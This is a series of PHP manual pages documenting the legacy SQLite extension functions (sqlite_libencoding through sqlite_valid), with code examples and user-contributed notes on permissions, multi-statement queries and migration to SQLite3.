insert into some_table (some_field) values ('bob')

You will see that an id will be automatically generated and
calling sqlite_last_insert_rowid() will return the expected value
sqlite_last_error
sqlite_libencoding
SQLite Functions


Returns the encoding of the linked SQLite library

sqlite_last_insert_rowid
sqlite_libversion
SQLite Functions
PHP Manual

sqlite_libencoding

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_libencoding — Returns the encoding of the linked SQLite library

Description

string sqlite_libencoding ( void )

The SQLite library may be compiled in either ISO-8859-1 or UTF-8 compatible modes. This function allows you to determine which encoding scheme is used by your version of the library.

Warning

The default PHP distribution builds libsqlite in ISO-8859-1 encoding mode. However, this is a misnomer; rather than handling ISO-8859-1, it operates according to your current locale settings for string comparisons and sort ordering. So, rather than ISO-8859-1, you should think of it as being '8-bit' instead.

When compiled with UTF-8 support, sqlite handles encoding and decoding of UTF-8 multi-byte character sequences, but does not yet do a complete job when working with the data (no normalization is performed for example), and some comparison operations may still not be carried out correctly.

Warning

It is not recommended that you use PHP in a web-server configuration with a version of the SQLite library compiled with UTF-8 support, since libsqlite will abort the process if it detects a problem with the UTF-8 encoding.

Return Values

Returns the library encoding.

See Also

  • sqlite_lib_version()

User Contributed Notes

There are no user contributed notes for this page.
sqlite_last_insert_rowid
sqlite_libversion
SQLite Functions


Returns the version of the linked SQLite library

sqlite_libencoding
sqlite_next
SQLite Functions
PHP Manual

sqlite_libversion

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_libversion — Returns the version of the linked SQLite library

Description

string sqlite_libversion ( void )

Returns the version of the linked SQLite library.

Return Values

Returns the library version, as a string.

See Also

  • sqlite_libencoding() - Returns the encoding of the linked SQLite library

User Contributed Notes

jwzumwalt at neatinfo dot com 06-Sep-2010 04:03
Simple Example

<html>
<body>
<span style="color:navy; font-size:larger;">Supported <i>PHP Data Object</i> (PDO) drivers.</span>
<blockquote>
   <?php
   foreach(PDO::getAvailableDrivers() as $driver)
       {
       echo $driver.'<br />';
       }
       ?>
</blockquote>

<span style="color:navy; font-size:larger;">SQLite version.</span>
<blockquote>
   <?php echo sqlite_libversion(); ?>
</blockquote>

<span style="color:navy; font-size:larger;">PHP version.</span>
<blockquote>
   <?php echo phpversion(); ?>
</blockquote>
</body>
</html>
sqlite_libencoding
sqlite_next
SQLite Functions


Seek to the next row number

sqlite_libversion
sqlite_num_fields
SQLite Functions
PHP Manual

sqlite_next

SQLiteResult::next

SQLiteUnbuffered::next

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_next -- SQLiteResult::next -- SQLiteUnbuffered::next — Seek to the next row number

Description

bool sqlite_next ( resource $result )

Object oriented style (method):

bool SQLiteResult::next ( void )
bool SQLiteUnbuffered::next ( void )

sqlite_next() advances the result handle result to the next row.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Return Values

Returns TRUE on success, or FALSE if there are no more rows.

See Also

  • sqlite_seek() - Seek to a particular row number of a buffered result set
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

There are no user contributed notes for this page.
sqlite_libversion
sqlite_num_fields
SQLite Functions


Returns the number of fields in a result set

sqlite_next
sqlite_num_rows
SQLite Functions
PHP Manual

sqlite_num_fields

SQLiteResult::numFields

SQLiteUnbuffered::numFields

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_num_fields -- SQLiteResult::numFields -- SQLiteUnbuffered::numFields — Returns the number of fields in a result set

Description

int sqlite_num_fields ( resource $result )

Object oriented style (method):

int SQLiteResult::numFields ( void )
int SQLiteUnbuffered::numFields ( void )

Returns the number of fields in the result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Return Values

Returns the number of fields, as an integer.

See Also

  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_num_rows() - Returns the number of rows in a buffered result set

User Contributed Notes

There are no user contributed notes for this page.
sqlite_next
sqlite_num_rows
SQLite Functions


Returns the number of rows in a buffered result set

sqlite_num_fields
sqlite_open
SQLite Functions
PHP Manual

sqlite_num_rows

SQLiteResult::numRows

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_num_rows -- SQLiteResult::numRows — Returns the number of rows in a buffered result set

Description

int sqlite_num_rows ( resource $result )

Object oriented style (method):

int SQLiteResult::numRows ( void )

Returns the number of rows in the buffered result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns the number of rows, as an integer.

Examples

Example #1 Procedural example

<?php
$db = sqlite_open('mysqlitedb');
$result = sqlite_query($db, "SELECT * FROM mytable WHERE name='John Doe'");
$rows = sqlite_num_rows($result);

echo "Number of rows: $rows";
?>

Example #2 Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$result = $db->query("SELECT * FROM mytable WHERE name='John Doe'");
$rows = $result->numRows();

echo "Number of rows: $rows";
?>

See Also

  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_num_fields() - Returns the number of fields in a result set

User Contributed Notes

There are no user contributed notes for this page.
sqlite_num_fields
sqlite_open
SQLite Functions


Opens an SQLite database and create the database if it does not exist

sqlite_num_rows
sqlite_popen
SQLite Functions
PHP Manual

sqlite_open

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_open — Opens an SQLite database and create the database if it does not exist

Description

resource sqlite_open ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

Object oriented style (constructor):

SQLiteDatabase::__construct() ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

Opens an SQLite database or creates the database if it does not exist.

Parameters

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns a resource (database handle) on success, FALSE on error.

Examples

Example #1 sqlite_open() example

<?php
if ($db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
    sqlite_query($db, 'CREATE TABLE foo (bar varchar(10))');
    sqlite_query($db, "INSERT INTO foo VALUES ('fnord')");
    $result = sqlite_query($db, 'select bar from foo');
    var_dump(sqlite_fetch_array($result));
} else {
    die($sqliteerror);
}
?>

Notes

Tip

On Unix platforms, SQLite is sensitive to scripts that use the fork() system call. If you do have such a script, it is recommended that you close the handle prior to forking and then re-open it in the child and/or parent. For more information on this issue, see » The C language interface to the SQLite library in the section entitled Multi-Threading And SQLite.

Tip

It is not recommended to work with SQLite databases mounted on NFS partitions. Since NFS is notoriously bad when it comes to locking you may find that you cannot even open the database at all, and if it succeeds, the locking behaviour may be undefined.

Note: Starting with SQLite library version 2.8.2, you can specify :memory: as the filename to create a database that lives only in the memory of the computer. This is useful mostly for temporary processing, as the in-memory database will be destroyed when the process ends. It can also be useful when coupled with the ATTACH DATABASE SQL statement to load other databases and move and query data between them.

Note: SQLite is safe mode and open_basedir aware.

See Also

  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist
  • sqlite_close() - Closes an open SQLite database
  • sqlite_factory() - Opens an SQLite database and returns an SQLiteDatabase object

User Contributed Notes

koalay at gmail dot com 05-Oct-2011 09:05
This function only support database of SQLite 2 or below. For SQLite 3, you must use PDO.
simplersolution at gmail dot com 06-Dec-2007 06:46
I found that both the file and the directory it is in have to be writeable by the web server, or an ambiguous "unable to open database file" error appears (pecl 1.0.3).  I pulled my hair out for ages before I realised that.
Phillip Berndt 02-Mar-2007 06:52
If you miss to set the permissions mentioned by ivoras Sqlite will drop an error message saying "Malformed database scheme", which is somehow misleading.

(I mentioned this as some [I did] might search php.net for this error message)
15-Nov-2006 02:45
the above example dows not! work since sqlite_query() does not accept one argument, but only 2.

so correct is:

<?php
if ($db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
  sqlite_query($db,'CREATE TABLE foo (bar varchar(10))');
  sqlite_query($db,"INSERT INTO foo VALUES ('fnord')");
  $result = sqlite_query($db,'select bar from foo');
  var_dump(sqlite_fetch_array($result));
} else {
  die ($sqliteerror);
}
?>
ivoras at fer dot hr 26-May-2004 10:46
Since sqlite uses a journal to do updates and inserts (and creates it on the fly), you ALSO must have write permissions set for the web server to write in the same DIRECTORY as the database file.
sqlite_num_rows
sqlite_popen
SQLite Functions


Opens a persistent handle to an SQLite database and create the database if it does not exist

sqlite_open
sqlite_prev
SQLite Functions
PHP Manual

sqlite_popen

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist

Description

resource sqlite_popen ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

This function behaves identically to sqlite_open() except that is uses the persistent resource mechanism of PHP. For information about the meaning of the parameters, read the sqlite_open() manual page.

sqlite_popen() will first check to see if a persistent handle has already been opened for the given filename. If it finds one, it returns that handle to your script, otherwise it opens a fresh handle to the database.

The benefit of this approach is that you don't incur the performance cost of re-reading the database and index schema on each page hit served by persistent web server SAPI's (any SAPI except for regular CGI or CLI).

Note: If you use persistent handles and have the database updated by a background process (perhaps via a crontab), and that process re-creates the database by overwriting it (either by unlinking and rebuilding, or moving the updated version to replace the current version), you may experience undefined behaviour when a persistent handle on the old version of the database is recycled. To avoid this situation, have your background processes open the same database file and perform their updates in a transaction.

Parameters

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns a resource (database handle) on success, FALSE on error.

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_close() - Closes an open SQLite database
  • sqlite_factory() - Opens an SQLite database and returns an SQLiteDatabase object

User Contributed Notes

There are no user contributed notes for this page.
sqlite_open
sqlite_prev
SQLite Functions


Seek to the previous row number of a result set

sqlite_popen
sqlite_query
SQLite Functions
PHP Manual

sqlite_prev

SQLiteResult::prev

(PHP 5)

sqlite_prev -- SQLiteResult::prev — Seek to the previous row number of a result set

Description

bool sqlite_prev ( resource $result )

Object oriented style (method):

bool SQLiteResult::prev ( void )

sqlite_prev() seeks back the result handle to the previous row.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE on success, or FALSE if there are no more previous rows.

See Also

  • sqlite_has_prev() - Returns whether or not a previous row is available
  • sqlite_rewind() - Seek to the first row number
  • sqlite_next() - Seek to the next row number

User Contributed Notes

There are no user contributed notes for this page.
sqlite_popen
sqlite_query
SQLite Functions


Executes a query against a given database and returns a result handle

sqlite_prev
sqlite_rewind
SQLite Functions
PHP Manual

sqlite_query

SQLiteDatabase::query

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_query -- SQLiteDatabase::query — Executes a query against a given database and returns a result handle

Description

resource sqlite_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )
resource sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Object oriented style (method):

SQLiteResult SQLiteDatabase::query ( string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Executes an SQL statement given by the query against a given database handle.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

This function will return a result handle or FALSE on failure. For queries that return rows, the result handle can then be used with functions such as sqlite_fetch_array() and sqlite_seek().

Regardless of the query type, this function will return FALSE if the query failed.

sqlite_query() returns a buffered, seekable result handle. This is useful for reasonably small queries where you need to be able to randomly access the rows. Buffered result handles will allocate memory to hold the entire result and will not return until it has been fetched. If you only need sequential access to the data, it is recommended that you use the much higher performance sqlite_unbuffered_query() instead.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

Notes

Warning

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script. However, this works only when the result of the function is not used - if it is used, only the first SQL statement would be executed. Function sqlite_exec() will always execute multiple SQL statements.

When executing multiple queries, the return value of this function will be FALSE if there was an error, but undefined otherwise (it might be TRUE for success or it might return a result handle).

See Also

  • sqlite_unbuffered_query() - Execute a query that does not prefetch and buffer all data
  • sqlite_array_query() - Execute a query against a given database and returns an array

User Contributed Notes

glenn at byte-consult dot be 13-Jan-2012 05:16
Not a lot of examples on using the oo style of using sqlite files.  Maybe this helps someone trying to figure out all the names of the tables inside an sqlite file.

<?php

/* Just extend the class, add our method */
class MySQLiteDatabase extends SQLiteDatabase {

   /* A neat way to see which tables are inside a valid sqlite file */
   public function getTables()  {
      $tables=array();
      $q = $this->query(sprintf("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name"));
      $result = $q->fetchAll();
      foreach($result as $tot_table) {
         $tables[]=$tot_table['name'];
      }
      return($tables);
   }
}

/* a sqlite file */
$database="BLAHBLAH.sqlite";

if (file_exists($database)) {
   $db = new MySQLiteDatabase($database, 0666, $err);
   if ($err) {
      trigger_error($err);
   } else {
      print_r($db->getTables());
   }
}

/* this sqlite db had 2 tables:
   Array
   (
   [0] => Account
   [1] => Device
   )

 */
?>
bruce at causal dot com 04-Aug-2009 11:11
In follow up to Csaba Gabor's function (see below) that allows for multi-statement queries to be executed via sqlite_query() this alternative implementation avoids a problem with Csaba's version (which prevents multi-statement constructs like CREATE TRIGGER from being parsed correctly).
<?php
function sqlite_query_multi ($db, $query) {
 //
 // sqlite_query() rewritten to support concatenated SQL statements.
 //
 // This method works around the sqlite_query() deficiency by splitting
 // queries into two parts; the first part comprising all the statements
 // except the last one (executed via sqlite_exec) and then the last
 // statement (executed via sqlite_query).
 //
 // This allows the result of the last SELECT statement in a multi-statement
 // query to be accessed regardless of the SQL statements that came before it.
 // It also allows execution of arbitrary multi-statement programs regardless
 // whether the result is needed, subject to the following constraint:
 //
 // This method requires that the last statement in a multi-statement query
 // is a valid "stand-alone" SQL statement. If it is not (eg, the "END;" of
 // a multi-statement construct such as CREATE TRIGGER) append an additional
 // ";" (ie, a NULL statement). Normally this should not be needed because
 // almost all the multi-statement constructs I can think of should have a
 // stand-alone statement following them (ie, to makes use of the construct).
 //
    $pattern = '/^(.*;)(.*;)/s';
    if ( preg_match($pattern,$query,$match) ) {
     // multi-statement query
        sqlite_exec($db,$match[1]);
        $result = sqlite_query($db,$match[2]);
    } else {
     // single-statement query
        $result = sqlite_query($db,$query);
    }
    return (@$result);
}
?>
helmakil at gmail dot com 05-Feb-2008 01:58
I suppose this could be useful for users attempting to use a sqlite database for the first time.
<?php
$database = new SQLiteDatabase($yourfile, 0666, $error);
if (!$database) {
    $error = (file_exists($yourfile)) ? "Impossible to open, check permissions" : "Impossible to create, check permissions";
    die($error);
}
$query = $database->query("SELECT name FROM sqlite_master WHERE type='table'", SQLITE_ASSOC, $query_error); #Lists all tables
if ($query_error)
    die("Error: $query_error"); #This means that most probably we catch a syntax error
if (!$query)
    die("Impossible to execute query.") #As reported above, this means that the db owner is different from the web server's one, but we did not commit any syntax mistake.
print $query->numRows();
while ($row = $query->fetch())
    print($row['name']."\n");
?>
i suppose that the example above is also useful because it will list all the tables created, giving also comprehension of what appens when managing a sqlite database in OO mode.
jason at fatpipeinc dot com 27-Oct-2005 07:32
Correction:

sqlite_query will return NULL if the web server cannot write to the sqlite database file.

(please correct the previous post and delete this one)
jason at fatpipeinc dot com 24-Oct-2005 09:35
sqlite_open will return NULL if the web server cannot write to the sqlite database file.

I saw the following message in my web server error log:

PHP Warning:  sqlite_query(): (null) ...

It turns out that the sqlite database file was owned by a user other than the one the web server was running as.  In my case, it was a Linux system running Apache (which was running under the context of user apache).  The sqlite database file was owned by root.  I changed ownership of the file to user apache and now it works!  The sqlite_open call now returns a valid result handle.

Jason Aeschilman
05-Oct-2004 01:54
While reading the manual at sqlite.org, I can answer for the quotes in strings. You should put two quote to get one.

insert into atable values ( '5 O''Clock');
csaba at alum dot mit dot edu 29-Apr-2004 06:41
The function below allows you to submit multiple queries in one shot to a SQLITE database, and will return whatever you would get for the final query.

function sqlite_query_multi ($db, $query) {
    // submit multiple queries (separated by ;) to $db
    // and return the result from the last one
    $multiSQL = "/('[^']*'|\"[^\"]*\"|[^;'\"])*;/";
    preg_match_all ($multiSQL, "$query;", $aSQL);
    for ($i=sizeof($aSQL=$aSQL[0]);$i--;)
    if (!($trim=trim(substr($aSQL[$i],0,-1))))
        unset ($aSQL[$i]);
        else $aSQL[$i] = "$trim;";
    foreach ($aSQL as $i => $sql)
    $dbRes = sqlite_query ($db, $sql);
    return (@$dbRes);
}

The section below illustrates the above function:

$db = sqlite_open(":memory:", 0666, $sqliteerror);
$query = <<<EOD
CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz TEXT);
INSERT INTO foo VALUES (Null, 'Hi');
INSERT INTO foo VALUES (Null, 'Mom');
SELECT * FROM foo;
EOD;
$dbRes = sqlite_query_multi ($db, $query);  // 4 statements
while (sqlite_has_more($dbRes))
    var_dump(sqlite_fetch_array($dbRes, SQLITE_ASSOC));

Csaba Gabor
sqlite_prev
sqlite_rewind
SQLite Functions


Seek to the first row number

sqlite_query
sqlite_seek
SQLite Functions
PHP Manual

sqlite_rewind

SQLiteResult::rewind

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_rewind -- SQLiteResult::rewind — Seek to the first row number

Description

bool sqlite_rewind ( resource $result )

Object oriented style (method):

bool SQLiteResult::rewind ( void )

sqlite_rewind() seeks back to the first row in the given result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns FALSE if there are no rows in the result set, TRUE otherwise.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_seek() - Seek to a particular row number of a buffered result set

User Contributed Notes

There are no user contributed notes for this page.
sqlite_query
sqlite_seek
SQLite Functions


Seek to a particular row number of a buffered result set

sqlite_rewind
sqlite_single_query
SQLite Functions
PHP Manual

sqlite_seek

SQLiteResult::seek

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_seek -- SQLiteResult::seek — Seek to a particular row number of a buffered result set

Description

bool sqlite_seek ( resource $result , int $rownum )

Object oriented style (method):

bool SQLiteResult::seek ( int $rownum )

sqlite_seek() seeks to the row given by the parameter rownum.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

rownum

The ordinal row number to seek to. The row number is zero-based (0 is the first row).

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns FALSE if the row does not exist, TRUE otherwise.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

mina86 at tlen dot pl 12-May-2004 10:17
I've encoutered strange problem when using sqlite_seek(). When I tried to move the pointer to the first row (#0) I got the fallowing error message: row 0 out of range. The workaround seems to be use of sqlite_rewind(). One can use the fallowing function instead of the original one:

<?php
function sqlite_data_seek($result, $numrow) {
  if ($numrow==0) {
    return sql_rewind($result);
  } else {
    return sql_seek($result, $numrow);
  }
}
?>
sqlite_rewind
sqlite_single_query
SQLite Functions


Executes a query and returns either an array for one single column or the value of the first row

sqlite_seek
sqlite_udf_decode_binary
SQLite Functions
PHP Manual

sqlite_single_query

SQLiteDatabase::singleQuery

(PHP 5, PECL sqlite >= 1.0.1)

sqlite_single_query -- SQLiteDatabase::singleQuery — Executes a query and returns either an array for one single column or the value of the first row

Description

array sqlite_single_query ( resource $db , string $query [, bool $first_row_only [, bool $decode_binary ]] )

Object oriented style (method):

array SQLiteDatabase::singleQuery ( string $query [, bool $first_row_only [, bool $decode_binary ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

oohall AT gmail DOT comMERCIAL 10-Apr-2008 10:38
The previous note by franp at free dot fr appears to be incorrect, some cursory testing showed that DELETE FROM and INSERT INTO queries worked fine so other queries which do not return data should also work. However, if you're looking for a drop in replacement for sqlite_query(), try sqlite_unbuffered_query() as it appears to only execute the first query if more than one is given.
franp at free dot fr 26-Sep-2004 05:42
AFAIK, you cannot use sqlite-single-query for all kind of SQL queries.
If you are lazy and thought you could safely copy-paste your :
<?php $result = $db->sqlite-single-query($sSQL); ?>
straight from one query to the other, whatever is the query as long as it has only one line, you are wrong.

Apparently, sqlite-single-query is limited to queries that return data, that is to SELECT queries.

<?php
$sSQL  = "DELETE FROM atoms WHERE ID = '8';";

// The following won't work :
$result = $db->singleQuery($sSQL);

// But the following will :
$result = $db->query($sSQL);
?>
sqlite_seek
sqlite_udf_decode_binary
SQLite Functions


Decode binary data passed as parameters to an UDF

sqlite_single_query
sqlite_udf_encode_binary
SQLite Functions
PHP Manual

sqlite_udf_decode_binary

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF

Description

string sqlite_udf_decode_binary ( string $data )

Decodes binary data passed as parameters to a UDF.

You must call this function on parameters passed to your UDF if you need them to handle binary data, as the binary encoding employed by PHP will obscure the content and of the parameter in its natural, non-coded form.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

Parameters

data

The encoded data that will be decoded, data that was applied by either sqlite_udf_encode_binary() or sqlite_escape_string().

Return Values

The decoded string.

Examples

Example #1 binary-safe max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = sqlite_open(':memory:');
sqlite_query($db, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($db, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    $string = sqlite_udf_decode_binary($string);
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($db, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($db, 'SELECT max_len(a) from strings'));

?>

See Also

  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.
sqlite_single_query
sqlite_udf_encode_binary
SQLite Functions


Encode binary data before returning it from an UDF

sqlite_udf_decode_binary
sqlite_unbuffered_query
SQLite Functions
PHP Manual

sqlite_udf_encode_binary

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_udf_encode_binary — Encode binary data before returning it from an UDF

Description

string sqlite_udf_encode_binary ( string $data )

sqlite_udf_encode_binary() applies a binary encoding to the data so that it can be safely returned from queries (since the underlying libsqlite API is not binary safe).

If there is a chance that your data might be binary unsafe (e.g.: it contains a NUL byte in the middle rather than at the end, or if it has and 0x01 byte as the first character) then you must call this function to encode the return value from your UDF.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

Note:

Do not use sqlite_escape_string() to quote strings returned from UDF's as it will lead to double-quoting of the data. Use sqlite_udf_encode_binary() instead!

Parameters

data

The string being encoded.

Return Values

The encoded string.

See Also

  • sqlite_udf_decode_binary() - Decode binary data passed as parameters to an UDF
  • sqlite_escape_string() - Escapes a string for use as a query parameter
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.
sqlite_udf_decode_binary
sqlite_unbuffered_query
SQLite Functions


Execute a query that does not prefetch and buffer all data

sqlite_udf_encode_binary
sqlite_valid
SQLite Functions
PHP Manual

sqlite_unbuffered_query

SQLiteDatabase::unbufferedQuery

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_unbuffered_query -- SQLiteDatabase::unbufferedQuery — Execute a query that does not prefetch and buffer all data

Description

resource sqlite_unbuffered_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )
resource sqlite_unbuffered_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Object oriented style (method):

SQLiteUnbuffered SQLiteDatabase::unbufferedQuery ( string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

sqlite_unbuffered_query() is identical to sqlite_query() except that the result that is returned is a sequential forward-only result set that can only be used to read each row, one after the other.

This function is ideal for generating things such as HTML tables where you only need to process one row at a time and don't need to randomly access the row data.

Note:

Functions such as sqlite_seek(),
sqlite_rewind(), sqlite_next(),
sqlite_current(), and
sqlite_num_rows() do not work on result handles
returned from sqlite_unbuffered_query().

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

Returns a result handle or FALSE on failure.

sqlite_unbuffered_query() returns a sequential forward-only result set that can only be used to read each row, one after the other.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle

User Contributed Notes

radley25 at spamcop net 31-May-2004 12:27
Always use this over the sqlite_fetch_* functions if possible as it's much faster.
sqlite_udf_encode_binary
sqlite_valid
SQLite Functions


Returns whether more rows are available

sqlite_unbuffered_query
SQLite3
SQLite Functions
PHP Manual

sqlite_valid

SQLiteResult::valid

SQLiteUnbuffered::valid

(PHP 5)

sqlite_valid -- SQLiteResult::valid -- SQLiteUnbuffered::valid — Returns whether more rows are available

Description

bool sqlite_valid ( resource $result )

Object oriented style (method):

bool SQLiteResult::valid ( void )
bool SQLiteUnbuffered::valid ( void )

Finds whether more rows are available from the given result handle.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_num_rows() - Returns the number of rows in a buffered result set
  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement

User Contributed Notes

There are no user contributed notes for this page.
sqlite_unbuffered_query
SQLite3
SQLite Functions


SQLite3

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLite3 — The SQLite3 class
    • SQLite3::busyTimeout — Sets the busy connection handler
    • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
    • SQLite3::close — Closes the database connection
    • SQLite3::__construct — Instantiates an SQLite3 object and opens an SQLite 3 database
    • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
    • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
    • SQLite3::escapeString — Returns a string that has been properly escaped
    • SQLite3::exec — Executes a result-less query against a given database
    • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
    • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
    • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
    • SQLite3::loadExtension — Attempts to load an SQLite extension library
    • SQLite3::open — Opens an SQLite database
    • SQLite3::prepare — Prepares an SQL statement for execution
    • SQLite3::query — Executes an SQL query
    • SQLite3::querySingle — Executes a query and returns a single result
    • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number
  • SQLite3Stmt — The SQLite3Stmt class
    • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
    • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
    • SQLite3Stmt::clear — Clears all current bound parameters
    • SQLite3Stmt::close — Closes the prepared statement
    • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
    • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
    • SQLite3Stmt::reset — Resets the prepared statement
  • SQLite3Result — The SQLite3Result class
    • SQLite3Result::columnName — Returns the name of the nth column
    • SQLite3Result::columnType — Returns the type of the nth column
    • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
    • SQLite3Result::finalize — Closes the result set
    • SQLite3Result::numColumns — Returns the number of columns in the result set
    • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

Anonymous 06-Dec-2011 12:56
As of PHP 5.4 support for Sqlite2 has been removed. I have a large web app that was built with sqlite2 as the database backend and thus it exploded when I updated PHP. If you're in a similar situation I've written a few wrapper functions that will allow your app to work whilst you convert the code to sqlite3.

Firstly convert your DB to an sqlite3 db.

sqlite OLD.DB .dump | sqlite3 NEW.DB

